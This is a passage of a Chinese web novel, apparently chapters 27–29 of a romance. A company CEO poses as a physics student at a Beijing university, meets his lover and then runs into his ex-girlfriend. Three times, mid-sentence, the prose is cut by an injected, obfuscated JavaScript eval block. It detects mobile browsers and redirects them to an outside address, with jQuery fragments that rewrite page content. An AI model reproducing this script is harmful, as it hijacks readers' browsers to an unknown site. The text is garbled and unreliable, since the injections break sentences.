何湛程同学也被自己蠢笑了,轻啧一声,摸兜掏打火机,叼了根烟就要点燃:“可能吧,我本来挺放得开的。” 赵博忙提醒:“诶!这是食堂,禁止吸烟的!” 何湛程同学皱了下眉:“老子就——” 赵博端起餐盘就往外走,回头叫他:“反正吃差不多了,咱们走吧,我领你去个人少的地方抽。” 何湛程同学耷拉着脑袋,一手挎书包,一手端餐盘,闷头跟着人往外走。 尽管老师很好,但他今天体验感非常差劲,以后他再也不要踏进这个学校半步了。 赵博要领着他去参观校园的绿色景观。 其实就是小情侣们经常约会的小树林,微风拂过,竹叶潇潇,曲径幽深,颇有意境。 新冒绿芽的草坪上铺着羊肠小道,人造水池围绕着四五个小亭子建造,哗啦啦流淌着,浇灌在镜面光滑的岩石上,路旁错落摆着许多二人座的木椅,俩人经过时,碰到几对儿情侣在椅子上谈恋爱。 何湛程同学说不行,他不要来这儿抽烟,他要去一个没有爱情酸臭味、并且绝对不会有老师经过的地方。 赵博笑得不行,便领他去附近正在施工的一幢教学楼旁边, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409036|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 说那里有个便利店,他想请何湛程同学喝个饮料。 何湛程同学痞痞地叼着烟,书包往肩上一甩,阔步昂扬地就跟着人去了。 便利店这边环境不好,虽然施工场地在百米外,还有绿色的围挡物,但油漆路面坑坑洼洼,到处是挖掘机经过时遗留的沙土,空气沙尘颗粒度含量极高,何湛程同学站在垃圾桶旁吞云吐雾,好容易抽完一支烟,拎着书包和汽水和赵博一起进便利店坐着了。 “这是学校新盖的学生宿舍,”赵博跟他讲,“路面也要重新铺,当下住在附近的都是食堂阿姨清洁工保安这些,除了偶尔有校领导来视察,一般不会有学生和老师经过。” 何湛程同学“嗯”了声,喝了口汽水,低头扒拉着手机和秘书聊天。 他傍晚让茉莉帮他约了光子嫩肤,做一次可以帮人重返十七岁的那种,茉莉苦口婆心劝他,说他皮肤比她打过针的状态都好,真的没必要做,他虽然很高兴听到这种马屁,但…… 他就是想做。 非做不可!! 茉莉跟他汇报工作,顺便提了一嘴,说今早上董事长突然来公司找她打探情况,问她戚时最近有没有遇见什么人,还特地问的“特别的男人”,幸而戚时早有预料,茉莉按照他交代的,对董事长称“戚总私下的朋友,我不知情”。 戚时很欣慰茉莉的能干,不枉他隔三差五就请她吃饭喝酒送包送衣服的。 她那辆野马也是他送的,去年底,她委婉地说她和他管理公司的理念不太相符,想撂挑子跑路,第二天早他就放了把车钥匙在她桌上,她很识相地起身鞠躬,说:“不好意思戚总,昨天喝多了胡言乱语,谢谢您的车,我会好好干的”,然后一直留到了现在。 茉莉: —幸亏今天三少没来,不然董事长撞见了他,肯定一眼就能看出来 戚时盯着那句话,搁在屏幕上的手指纹发着汗,编辑了一条“他今天没来么”,又删除,没给她回复。 呵呵,想来是少爷在沪上和老情人温存完了才想起他戚老二,这一周回来燕京,少爷天天往他公司跑,从早蹲到晚,一待就是一整天,连楼下大堂前台都认识他了。 茉莉忙,没空天天接这种无聊的预约电话,干脆对底下人吩咐这是贵客,以后三少来,直接就让他上22层就是了。 反正总裁也不在。 戚时每天都会收到茉莉一条“今天三少早上八点半来,晚上九点半走”,还有每天午饭和晚饭,她带何老三去吃楼下不重样的餐厅,每中午1点,她让何老三去总裁办的休息室里午睡,还给何老三拿他自己常盖的毯子,下午四点左右,她为何老三准备清爽可口的茶点鲜果,晚上再打车送人回酒店。 戚时觉得,何老三还是把自己放在心上的。 可一想到许若林的存在,他又格外上火! 30%生许若林的气,70%生自己的气。 如果他像他哥那样聪明就好了,他哥一个二十年都没碰过物理知识的人,随口就能道出一道题来,简单题也是题,放他自己身上,念都不见得能念对。 今天那个人没来找他,是终于烦了吧。 挺好的。 戚时面无表情地关掉手机。 这是最好的结果,从此分道扬镳,他和他本就不该凑在一起。 “诶!今天上面来视察了!”旁边赵博拉他一下,引他看向窗外,“你看,就是那拨人,我就认识一个,戴蓝色安全帽的那个是我们副校长,他姓佟。” 戚时没兴趣领教燕大的高层人物,他才不管副校长姓铜还是姓铁,他把手机揣兜里,准备直接走人算了。 刚站起身,外面那群戴着黄色和蓝色安全帽的领导们走了过来,放眼望去,都是些高矮胖瘦不一的中老年男人们,一帮人谈笑风生地经过便利店外,他一瞥之下,精准捕捉到某个熟悉的身影,瞳孔倏地一震。 那人很高,眉目清冷,梳着三七分的背头,西装革履地走来,在众人拥簇尤为鹤立鸡群。 那人是个年轻人,没戴安全帽,两手气定神闲地插着裤兜,姣好的脸庞在太阳照耀下白得发光,旁边人围着他积极地讲述着什么,他面容淡淡,无甚兴致般,不时点头敷衍几声,比领导们还有领导风范。 心有灵犀一样,那人一双漠然的眼不经意瞥过来,隔着一道玻璃窗,和他对视上了。 一刹那,那人盯住了他,仿佛死掉的琥珀色深眸里浮起了笑意,美得如此癫狂又动人心魄。 戚时的大脑也霎间轰隆一声巨响! 完蛋了…… 他别过头,缓缓举起书包挡在自己脸前,掩耳盗铃般紧闭上了眼。 28. 第28章 “欸?那个没戴帽子的人好年轻啊!” 赵博还在一旁惊叹,伸手拽了下他袖子:“他朝咱们这边看过来了,你看,哇!真的好年轻啊!不知道是什么来头,居然能让我们校领导围着他转。” 戚时举书包死死地挡着脸,根本不敢睁眼,低声问:“他走了吗?” “没,”赵博伸脖子认真观察着,说,“他在和佟校长他们讲话。” “现在呢?”戚时紧张地问,“走了吗?” “没,他在和佟校长他们招手,好像在道别。” “道别,是走了的意思吗?” “对。” “走远没?” “没,”赵博说,“他一个人朝便利店这边过来了。” “艹!”戚时吓得差点心脏都停了,一把将赵博扒拉过来,自己埋头缩着身子蜷在最里边位子,让赵博在外面挡着他。 赵博终于察觉不对劲,扭头问身旁这位恨不得将头塞进桌墙缝里的某人:“怎么了,你认识他吗?” 戚时还没回,赵博身后就响起一道含笑的招呼声。 “朋友,身上没钱了,你能帮我去买个饮料吗?” 赵博回过头,望一眼站在他面前的年轻人。 赵博是富家子弟,也算是见过世面的人,他稍微一打量,就觉得这位年轻人不太像是某位视察工作的领导,倒像是位养尊处优的少爷。 而且,一定是那种很尊贵的少爷,虽然西装革履,但一身浓烈浪荡的纨绔气扑面而来,他站在那里,不是他自己,而是代表整个家族,才可以完全碾压一众领导们的官场气。 赵博很识相地起身打招呼,问:“行,你想喝点儿什么?” 年轻人一笑,下巴冲藏在墙角的某人桌面上抬了抬,说:“和他一样。” 赵博点点头,起身去里面帮他买饮料。 以及,他现在确信这两个人是认识的了。 戚时还在垂死挣扎,冷不丁肩上放上来一只手,身后人笑:“怎么了二哥,接着躲啊,看你下次逃到天涯海角,我还能不能找到你。” 戚时认命扭头,仰脸看对方一眼:“你、你怎么和他们校领导混在一起?” 对方笑得灿烂:“那你呢?你怎么穿成这样,还和一个大学生搞在一起?哦——,我知道了,原来二哥那天不是喜欢我,是喜欢我的衣服啊?” 戚时脸上唰地一红,整个人简直臊得无地自容,但不及他解释什么,赵博就拿着瓶汽水朝这边走来。 赵博递给对方汽水,然后扭头,伸手拍了下戚时的肩,笑问: “何湛程,不给我们互相介绍一下吗?” 对方拿过汽水,一脸疑惑地看向赵博:“你刚叫他什么?” 赵博笑得开朗:“何湛程啊!他不是叫何湛程吗!” 对方“哦”了一声,很快反应过来,眸底浮起浓浓的笑意,望向何湛程同学: “湛程,你这个小调皮,我还不知道你原来有个小名呢!” “小调皮”已经在汗流浃背了,大豆的汗珠从乌黑鬓角流淌下来,眼前一黑又一黑,耳根、脖子全都熟透了。 他闷闷地一声不吭,将脸全埋进掌心里,可着劲儿地搓,恨不得要把脸搓烂。 要不他去死吧! 他去死好了!! 他现在去死的话,一切问题都能迎刃而解了!!! “欸?”赵博惊讶,“他让你叫他后两个字吗?我刚才这样叫他,他还不让呢?” “没事儿,他总是这样,多吃点耗子药就好了。” 对方向赵博伸出手,自我介绍道:“我姓钱。” 赵博和他握手:“我是物理系的赵博,搏斗的博。” 对方点点头,也补充道:“我叫楠有,楠木的‘楠’,有没有的‘有’。” 赵博笑:“原来你叫钱楠有啊!” 说完,愣住在原地。 钱楠有,钱楠有。 这不就是前男友么? 赵博懵逼了,一颗头摇得跟拨浪鼓似的,一会儿看一眼钱楠有,一会儿又看看何湛程,一口伶牙俐齿突然变得吞吐起来:“你、你们两个……” 戚时一听这话,火气蹭地一下着起来了! 他也不臊了,猛地将书包摔到桌上,一把将赵博拉自己怀里,把人搂得紧紧的,然后一脸挑衅地瞪着钱楠有,对赵博大声说:“我跟他已经分手了!现在,是你跟我在谈!” 何湛程的笑容终于淡下去了。 他望着那人,眼底闪过一丝受伤,完全不受控的,心也跟着被刺了一下。 可他本来没有心的,他做任何事都那么任性随意,他永远是玩弄别人的掌控者,他是游戏人间的小蜜蜂啊。 他明明知道那人在胡说八道,但……他看那人今天穿得这么年轻,打扮成这样的阳光帅气,脚上还穿着他送他的球鞋,宽阔的肩膀背着干净的书包,头发清爽,爽朗的笑容,很平凡、很安静地坐在便利店和另外一个人谈情说爱喝汽水。 他本以为自己和那人永远错过的、回不去的少年光阴,那人就这样轻易地和另一个人度过,他就觉得…… 他就觉得,这个人才不是他的二哥呢。 他二哥那一晚喜欢他喜欢得要命,整个人都黏在他身上,粗糙的手掌到处揉他、捏他,痞痞地坏笑着,扣着指尖故意碰他的敏感地带,一颗毛茸茸的头钻进他颈窝里吹气逗他,怎么吻都吻不够他……二哥连吃醋逃走都要给他留一张“你早点休息”的纸条,多好啊。 他喜欢听这个男人用磁性低沉的嗓音叫他程儿,那种自来熟的北方腔调,仿佛他生来就是他的一样。 他不是他的。 这个世上,没有谁生来就是谁的。 “那,”他说,“我回家了。” 脚跟往后退了两步,低下头,谁也没看,他推门就往外走了。 吧台桌上,未打开的第三瓶汽水还冒着冷气。 今天很热,赵博发现前男友在外面晒了半天,脖颈里淌着细汗,特地给人拿得冰镇的汽水。 “那个……”不愧是练体育的,赵博被人摁在怀里动不了一点,他无奈抬头说:“你应该不是叫何湛程吧?你喜欢的人都走了,你还不赶紧去追吗?” 戚时将人一把推开,冷声道:“我才不喜欢他!” 赵博脾气倒好,叹了口气,重新坐回椅子上。 他拿过买给前男友的那瓶汽水,抬手,给眼前人递过去:“你要是不喜欢他,刚才就不会躲,还有,你想学物理也是为了讨他的喜欢吧?” 戚时蹙起眉:“你小子脑子咋长的?卖么?” 赵博干脆将汽水塞他手里,下巴冲外面一抬:“他还没走远,你快去吧,他一看见你就笑得那么开心,大概率不会因为你学不好物理就不要你。” 戚时出汗的掌心猛地一冰,他低头,既心疼那个人,又忍不住犹豫:“他……他看见谁都会笑得很开心,他是喜欢我,不止我,他喜欢很多人。” 赵博顿了顿,这一点有点儿超出他认知范围了。 想了想,说:“那,起码今天,你们两个可以在一块儿,不是吗?如果你不去找他,他就会去找别人,这样的话,你连他的今天都得不到,岂不是更可惜?” 戚时幡然顿悟:“艹!说真的,你这脑子卖么?!” 赵博笑得不行,推了他一下:“快去啊!” 戚时连忙揣好汽水又拎起书包,塞一张名片到他手里,头也不回就跑了。 “你小子有前途,有空打球叫我,我请你吃饭!” 赵博低头看名片: 戚时/擎荣集团CEO “真是的……”他遗憾地笑起来。 *** 大中午太阳底下,电话刚拨打过去,对方就接通了。 只是这次没再对自己滔滔不绝地诉说爱意,语气也主动保持了几分距离: “喂,程哥,你有事找我吗?” 何湛程一身西装热得不行,没走几步就躲进了阴凉竹林里,一边漫无目的地沿着羊肠小路走着,一边烦躁地扯下紧束的领带,随手丢进路旁垃圾桶。 “帮我定张回沪上的机票,越快越好,最好今天下午就走。” “行,”那边说,“需要我去接你吗?” “有空你就来接我,没空你帮我叫辆车,或者去我家随便拉个人来,你告诉他们,这次谁他妈要再敢装聋作哑不管我,我回家一个个弄死他们!” “程哥,你……你最近过得不顺吗?” “顺,怎么不顺?”何湛程咬牙切齿地狞笑,“刚甩了一个大渣男,我明天就紫微星照命立马转运!” “渣男?是那个大宝贝吗?” “不是,是那个大傻逼。” “好吧,唉,你先消消气,我马上帮你看票。” 何湛程挂了电话,抬手又解开衬衫的两颗扣子,这不知道走哪儿来了,刚才那群老头儿也没带他来这边,他不认识路,一不小心撞到好几对儿坐在椅子上亲嘴乱摸缠在一起的情侣,忍不住脾气上来,步伐愈快,生怕自己手痒了一人扇一巴掌,让这群发春的雌雄动物们赶紧滚回教室好好学习去! 真是该死,他也是太给戚老二脸了!他大哥给他签了支票,但银行卡那边还没吩咐解冻,他急着回来,也没找他大哥要点儿零花钱,现在渴得喉咙冒烟儿,连口水都买不着! 毕竟他和他大哥刚和好,关系上正尴尬着,他自认为花戚老二钱比花他大哥的要好些,也就没好意思跟人联系,今天陪那群老头逛了一上午校园,连口饭都没能吃上,饿肚子还好说,他渴了怎么解决? 但—— 他以后再花戚老二一分钱,他就不姓何! 许若林现在有钱了,但那二愣小子死心眼,万一给他转个千八百万的,他收了也心里也不痛快。 刚想掏手机找裴玉要点钱,才想起他总怕那小子吃了他,始终没加那人的联系方式。 当即打电话给茉莉,找她要裴玉手机号。 茉莉除了关于戚时的事情对他磨蹭外,其他办事效率都挺高的,当即给他发来电话号码,何湛程想也不想就拨通了。 “喂,你好。”那人声音是一如既往的温柔。 再一次听到那傻叉的动静,居然莫名有点感动。 还有几分说不清道不明的委屈。 何湛程举电话在耳边,低头沉默着,扑闪的睫毛就这样毫无道理的湿了。 “喂,你好?”电话那头问:“请问你是?” 何湛程吸吸鼻子,闷声道:“我是你祖宗。” “三少!”那边欣喜若狂惊呼出声:“你哪来的我手机号?时哥给的吗?” 何湛程脸一黑:“别提那傻逼。” 那边意识到什么,试探问:“你心情不好?” 何湛程清咳一声:“快点儿,想找你要点钱,不还的那种。” 裴玉笑了起来:“要多少?” 何湛程:“反正我快回家了,你看着给吧,我现在想买汽水喝。” “行,你加我下微信。” 俩人加上微信,何湛程才刚备注好姓名,裴玉就转账二十万过来,附一条: —我们三少受苦了 轰一声! 泪水如决堤洪水,汹涌澎湃夺眶而出。 这一个多月来,为了追求某个头脑简单四肢发达的狗男人,他又是挨欺负、又是干糙活、又是感冒高烧、又是屈尊求人、又是耐心蹲点求和好,忍辱负重,姿态一低再低,最后却连口肉都没能吃上,他可不是受苦了吗?!! 何湛程咬唇哽咽着,正要点收款,头顶冷不丁压上来一片阴影,一只熟悉的手伸了过来,塞给他一瓶冰镇汽水,然后夺走了他的手机。 二十万,一键退还! 何湛程一脸懵逼泪流满面地抬起头。 戚时将书包扔他旁边,居高临下两手叉腰,冷声道:“不许你花那小子的钱。” 然后拿着何湛程手机给裴玉发语音,一张脸拽得二五八万:“都说叫你甭管了,你该干嘛就干嘛去,他大哥是把他交给了我,不是交给了你,以后给老子懂点事儿!” 裴玉没回,大概也是无奈。 戚时拿出自己手机,俩手机操作着,一个付款,一个收款,一共给何湛程转了七十万过去,把手机 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409037|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 还给对方,说:“花我的。” 何湛程恨恨一抹脸,扬手就把冰镇汽水投到十米远的水池里去了。 远处水花四溅,他声音冷漠:“滚。” 戚时充耳不闻,屈膝半蹲在他面前,紧紧握住了他两只手,仰脸笑哄:“你干嘛啊,明明是你先说是我前男友的,你还生气上了?” 本想赏人几个大耳光,没料对方早有预料,紧紧地握着他手,让他死活动不了。 何湛程通红着两眼,瞪他:“我他妈让你滚!” 戚时心疼人哭,忍不住抬起一只手替他擦泪:“饿了吗,你还没吃饭吧?我带你去吃饭,你想吃什么?” 何湛程毫不犹豫扬手往他脸上扇一巴掌! 啪的一声,清脆响亮,用尽一个常锻炼成年男性的全部力气。 戚时被扇得偏过头,左脸迅速肿起一个通红的大巴掌印,他却笑了。 舌尖拱了拱疼得发麻的腮帮子,他抬头问:“解气没?” 何湛程冷笑:“跟我卖可怜?你当我吃你苦肉计这套?滚!” 戚时笑得一脸宠溺:“我们程儿的脾气还真是不小啊?不错!有个性!”他超大声喊:“我喜欢!” 何湛程:“……” 戚时摸摸他沾湿的脸,倾身凑在他嘴唇上啄了一下:“崽儿,解气了咱就走吧,二哥带你去买汽水。” 何湛程不理他,一把夺过自己手机,三下五除二将对方刚存进去的七十万退了回去。 戚时愣了下:“怎么了?嫌少?” “我一向不花傻逼的钱。”何湛程起身就走。 戚时恨恨低声爆了句粗口。 何湛程没回头,本以为身后人马上又要爆炸发火,没料那傻大个儿拔腿就往水池子那边跑,大长腿镰刀似的在风中卷着,撸起袖子,弯腰在池子里捞了几下,把那瓶汽水给他捡回来了。 “给!”戚时一只手湿嗒嗒地递过来,臭着脸瞪他:“这是赵博给你买的,没花老子钱,你嘴都起皮了,赶紧喝一口!” 这下换何湛程愣了。 戚时替他拧开瓶盖,再次递了过来。 何湛程接过来,默不作声喝了两口。 冰饮甜丝丝的流淌进肠胃,凉意贯穿肺腑,怒气也随时消散。 是汽水,喝完喉咙里胀着密密麻麻的小气泡,他没忍住打了个嗝。 他不太自在地瞄向对方。 戚时别过脸,抬手挠两下脖子,一副想笑不敢笑的憋屈样儿。 俩人对视上,不约而同噗嗤笑出声了。 戚时逮住机会,飞快凑在他脸颊啵了一下,整个人贴近过来,揽臂搂住他腰,刻意压低的嗓音很性感:“领你去吃饭,想吃什么?” 何湛程咽咽吐沫,说:“想吃肉,各种肉。” 戚时垂下眼,将鼻尖贴在怀里人的鬓角轻轻嗅着,喉结来回滚动,声音也轻:“那,二哥给你烤肉吃?” 何湛程点点头:“行,再把二哥也烤了。” 戚时哈哈大笑,一把抄起书包抡肩上,另一手搂着人往校外走。 俩人有一搭没一搭地聊。 戚时问:“你怎么和他们校领导在一起?” 何湛程答:“我早上去你公司撞见戚铭了,没敢让他瞧见我,偷跟着他上楼,听他和茉莉说话,就知道你来这里上课了。” 戚时挑眉:“怎么不敢让他瞧见你?” 何湛程自顾自念念叨叨:“我以为你读商科,让那群老头儿带我转了两遍金融系大楼,你他妈的怎么和物理系的学生混在一起?” 戚时执着发话:“你先回答我。” 何湛程瞪他一眼:“这不是废话吗,你哥肯定不会让你跟我这样的人混在一起啊!” 戚时笑了,手掌在人肩头狠揉了两把,心情不错:“怕什么!老子就爱跟你一起混,他才管不了我!” 何湛程翻白眼:“屁,你什么都听你哥的,连读硕都——” 戚时纳闷:“你怎么知道?” 何湛程分寸不让:“你管我怎么知道?该你回答我了。” 戚时试图蒙混过关:“回答什么?” 何湛程一字一顿地重复:“你、怎、么、跟、物、理、系、的、人、混、在、一、起。” “哦,”戚时挠了下脖子,说,“我喜欢读物理,我从小的梦想就是成为一名物理学家!” 何湛程狐疑地瞥他一眼:“是么?” 戚时爽声笑:“对啊!” 何湛程猝不及防发问:“两个共点力的大小分别为3N和8N,这两个共点力的合力F的大小范围是?” 戚时:“……” 何湛程笑眯眯的:“你说啊!” 戚时面无表情别过脸,装作听不见的样子。 “是5N≤F≤11N。” 何湛程好像发现什么好玩儿的事情,一双眼亮得发光,瞬间亢奋起来,冲人兴冲冲道:“诶,那我再考你一个:真空中两个静止的点电荷,相距为r时库仑力大小为F,若保持r不——唔!” 戚时急遽猛烈的吻堵住了他的唇,整个人压上来,将他抵到路旁的树干上。 那人强势的舌在他口腔内疯狂搅动,带着某种难言的怨恨,淡淡烟草味混杂着汽水味,大手铁钳一样,狠命地掐着他腰,另一手摁着他后脑勺,强行迫使他与他接吻,不允许他再出声说话,更不准他喘息! 戚老二的吻技一次比一次精湛,何湛程陶醉其中,可亲到最后,他憋得受不了,并且严重怀疑这傻大个儿要谋财害命。 “滚开啊,”何湛程使出吃奶的劲儿将人推开一点,不耐烦地嚷道:“我他妈要被你亲死了!” 戚时踉跄两步,一言不发脸色沉沉地盯着他。 何湛程抬手一抹嘴,皱眉瞪他:“你有病吧?” 戚时像被触发某种机关,紧绷发僵的面容突然松动了一下,然后,他像头怨气滔天的恶兽,再次扑过来掐着何湛程下巴,又要低头吻他。 何湛程眼前一黑,有点绝望地闭上眼,刚准备好接受命运的制裁,就听不远处响起一道惊讶的女声: “戚时,你怎么在这儿?” 29. 第29章 他和一个男孩儿在接吻。蒋灵想。 他甚至是主动的那一方,还吻得那么急切、热烈,被人家推开了还要死皮赖脸地扑上去,一双眼眸炽热汹涌,恨不得将那男孩儿拆吃入腹。 那个男孩虽然年轻,个子却极高,二人差不了几公分,男孩儿的头发抵他眉间……男孩简直漂亮得不像话。 小——傻——子。 哪里“小”了?蒋灵想。 他穿得那么青春洋溢,像个十来岁的少年,他背着书包混进学校里,是因为在和那个学生谈恋爱吧?蒋灵想。 她明明可以视而不见,明明可以一声不吭低头从他身后走过去,但她还是打断了他的好事,让他和她都尴尬,他一定对她恨得牙痒痒。蒋灵想。 她不知道自己在做什么。 她早已对他死心,但她真的很好奇,能让他这么迷恋的人,究竟是个什么样的人? 蒋灵两手紧紧地攥着包,一袭紫色长裙飘着风里,长发披在身后,定定地站在原地望着他们。 他们—— 何湛程偏头看一眼那女人,又回头看戚时。 傻大个儿一见那女人,浑身长满虱子似的,立马埋头钻他肩窝里,低声催促:“走,快走,你掩护我!” 何湛程一笑,逗他:“诶,这是你准备要结婚的那位?那个大学老师?” “是也不是,”戚时压声说,“这个事儿比较复杂,我回头再跟你解释,咱们先走。” 何湛程来了兴致,错身一迈,反手拎着戚老二的衣领,强行拽着人朝蒋灵那边走过去。 “解释个屁,你不用给我解释,走,我前嫂子还在那儿等你呢,你躲什么躲?” 戚时今天已经丢过一次脸了,他根本无颜面对江东父老,更不想面对前女友,低声警告道:“别乱来,给我留点儿面子!” “放心,有本少爷在,你还用得着怕掉面子?” 宽阔油漆大道上,路人车辆来来往往,三方这般尴尬地会晤。 何湛程面带微笑,一手拽着试图逃走的某人后衣领,另一手向女人伸出:“嫂子好,我叫何湛程。” 戚时扭头瞪他一眼。 蒋灵不太自在地笑,伸手和他握了一下,解释道:“我们已经分手了,你别误会,你叫我蒋灵就好了。” 何湛程也笑:“哦,是么?我以为你在我俩亲嘴儿的时候突然喊我二哥名字,是想听我叫你嫂子呢?” 蒋灵猛地抽回手,脸上是火辣辣的烫,立刻由七分的不自在转化成一百分的难堪。 然后转头就瞪向戚时。 戚时低头死命抠着书包带,憋得肩膀一耸一耸的,想笑又不敢笑。 何湛程哈哈一笑,伸手在她眼前打了个响指,将她目光吸引回来:“蒋老师你别介意,我开玩笑啦!我和二哥要去吃饭,你一起么?” 戚时立马在底下轻踢了他一脚。 蒋灵自然看到了,脸上冷冷的:“不用了,我现在吃不下。” 何湛程关怀道:“是因为看到我们俩了才吃不下吗?” 蒋灵笑容可亲:“或许吧。” 何湛程“哎呀”一声,说:“那可惜了,蒋老师你这是刚下课吗?” 蒋灵撩了下头发,面不改色地上下打量着他,微微抬起下巴,显露出几分长辈的倨傲:“是啊,你呢?你是哪个系的学生?穿成这样,是在参加什么活动吗?” 何湛程两手一插兜,笑得坦然:“没,我不是这儿的学生,我只是来视察一下我家老爷子给你们学校捐的两栋大楼,看看佟校长他们喜不喜欢。” “艹?”戚时唰地扭头看他,惊讶道:“真的假的?” 何湛程一挑眉:“不然呢?你以为我怎么进来的?爬墙吗?” “啊,”蒋灵对捐楼那件事略有耳闻,微微诧异道,“你是何氏集团的……” “何澜是我爹,何闽轩是我大哥。”何湛程脱口而出他行走江湖百试百灵的装逼万能神句,成功在对方脸上看到惊异乃至震撼的神色。 何湛程笑眯眯的:“蒋老师现在看到我,可以吃得下饭了吗?” 蒋灵不理他这茬,扭头问戚时:“你呢?你一个擎荣的总裁,穿成这样也是来视察的?” 戚时张了张嘴,死脑子斟酌了半天,也想不出个借口。 “我、我是来学物……” “他是来找我的。”何湛程打断道,挡在人身前,冲她笑,“我家二哥比较粘人,老想着找我谈恋爱,我平时工作忙,顾不上他,电话接不着还总是关机,开会的时候也老是没信号,他夜里想我想得睡不着,就算发一百条、一千条信息也得不到回复,每天早起晚睡到处打探我消息,今天好容易知道我在这儿,才穿成这样追到这里了。” 蒋灵扯扯嘴角,看向戚时:“你还不承认,你原来这么喜欢他。” 戚时心里酸涩,瞄了眼身旁人。 身旁人却并没有和他对视,清冷的眉眼,目光淡淡地望向远处地平线,看热闹的人来车往在路尽头处凝成一个个黑色小点,不知道在想些什么。 戚时眉头一紧。 他没有回答蒋灵的话,但—— 何湛程不想知道他的回答么? 他突然想到刚才在便利店和何湛程对视上的那一秒。 那一秒之前,这个被人群拥簇着的、衣着光鲜的少爷,无感乏味的表情就像死人一样,谁也掀不起他内心丝毫的涟漪。 何湛程本身没有任何情绪,是周围的人和事刺激他,他才能动了起来。 这个人是被迫有了喜怒哀乐。 这个人也没那么在乎他。 蒋灵走了。 临走前,她经过他身旁,还算好脾气地祝福:“以后就别犯浑了,你这么孤单,需要一个长时间作伴的。” 她原来知道他孤单。 他点点头:“你也是,下回挑个好的,他要是像我这样欺负你,你找我,我替你收拾他。” 她气得一笑,走了。 他回过头,没敢牵人手,搂了下何湛程的肩,说:“走吧,咱们去吃饭。” 何湛程回过神儿,四下张望伸脖子找人:“诶,嫂子呢?” 戚时没好气一笑,提溜起他耳朵,说:“在这儿。” 何湛程不太满意地打掉他手:“说什么呢,我们何家要聘礼很高的,你给得起么?” 戚时脸上闪过一丝尴尬:“我开玩笑的。” 何湛程定定地望着他,面无表情地审视。 戚时吓得心里“刺啦”一下,裂开个口子,他莫名有点委屈,忍不住后退了两步。 可他也要尊严,于是强行保持镇定,一双眼对峙般和对方紧紧对视着,倔强着不肯认输,脸却不受控制地痉挛起来,笑比哭还难看。 何湛程眯起眼,细长的眼尾斜挑着,用一种纯粹的欣赏目光,看对方无措惊惶的表情,看他双手不知该往哪儿放,看他闪躲的眼……哇,看啊,这个男人的眼眶似乎都要红了。 忽地,何湛程噗嗤一乐,俯身扑近过来,一张脸笑得像朵花:“哎呀,不如你当嫂子,我给你下聘好了!二哥,我喜欢做掀盖头的那个!” 戚时一颗心差点被这小子整碎了,脸上一阵红一阵黑,毫不犹豫抬起一脚飞过去:“去你的!” “哈哈哈哈哈哈哈哈哈!”何湛程闪身一躲,往远处跑了几步,不忘笑着回头逗他:“诶,二哥,你要是做我的新娘,我们结婚都不用放炮仗了,你直接提着裙子扯着嗓门在外面喊就好了,保准能让所有宾客都听得清清楚楚!” “滚犊子!”戚时臭着一张脸追着人打,“谁要跟你结婚!你一个毛都没长齐的小兔崽子,整的跟谁多稀罕你似的!” “哈哈哈哈哈你不稀罕,那我可就回山上找裴玉玩儿去了!” “你敢!你敢找他,我就打断他的腿!” “诶,难道不是打断我的腿嘛!” “打断你的腿,你哥和我哥不得联合起来弄死我?还是打裴玉的腿风险系数比较低。” “诶呀,那我们裴玉好可怜啊!” “你再说一遍,谁们裴玉!” “我们,w——o,我,m——en,们!” “何湛程!我看你今天是不想活了,你给老子站住!” “哈哈哈哈哈哈……你来追我啊!你追到我,我今天就和你睡!” “……” 风吹拂过发烫的脸颊,那人不负责任的笑闹声就这样淹没在嘈杂的人声里,戚时突然止住步子,不再追逐。 他停在原地,望着那个欢笑着跑远的人,那个头也不回的、蝴蝶一样四处飞舞的少年,心脏一抽一抽的。 一种无名的难过就这样在心口的裂痕处洇散开了。 伤口不深,他却无力缝合,只能眼睁睁看着自己沉沦,眼睁睁感受着自己对那个人的爱意一点点变 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15409038|168801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 深,心口的裂痕也随之一点点向整颗心撕裂开去。 他低头,撸起另一只手的袖子,掌心摩挲着那人扔掉的、又被他捡起来捆在小臂的领带。 程儿,我到底该怎么做,才能让你每天都是我的。 *** 茉:“戚总,您下午五点半预约了光子嫩肤,记得少食辛辣少饮酒。” 戚:“你不早说,我已经跟程儿喝上了。” 茉:“您还是见他了。” 戚:“他都找来了,我有什么办法?” 茉:“那您少喝点。” 戚:“少喝不了,你把项目取消了,或者去经纪部门随便找个有需要的艺人去做,算我送的。” 茉:“好的,戚总,您什么时候回公司,我有件事想和您说。” 戚:“驳回。” 茉:“您都不问什么事情吗?” 戚:“程儿还在闹性子,不肯收我钱,他在燕京就跟你最熟,所以你不能跑路。” 茉:“恕我直言,您两位实在是太能折腾了。” 戚:“你也觉得我俩挺配?” 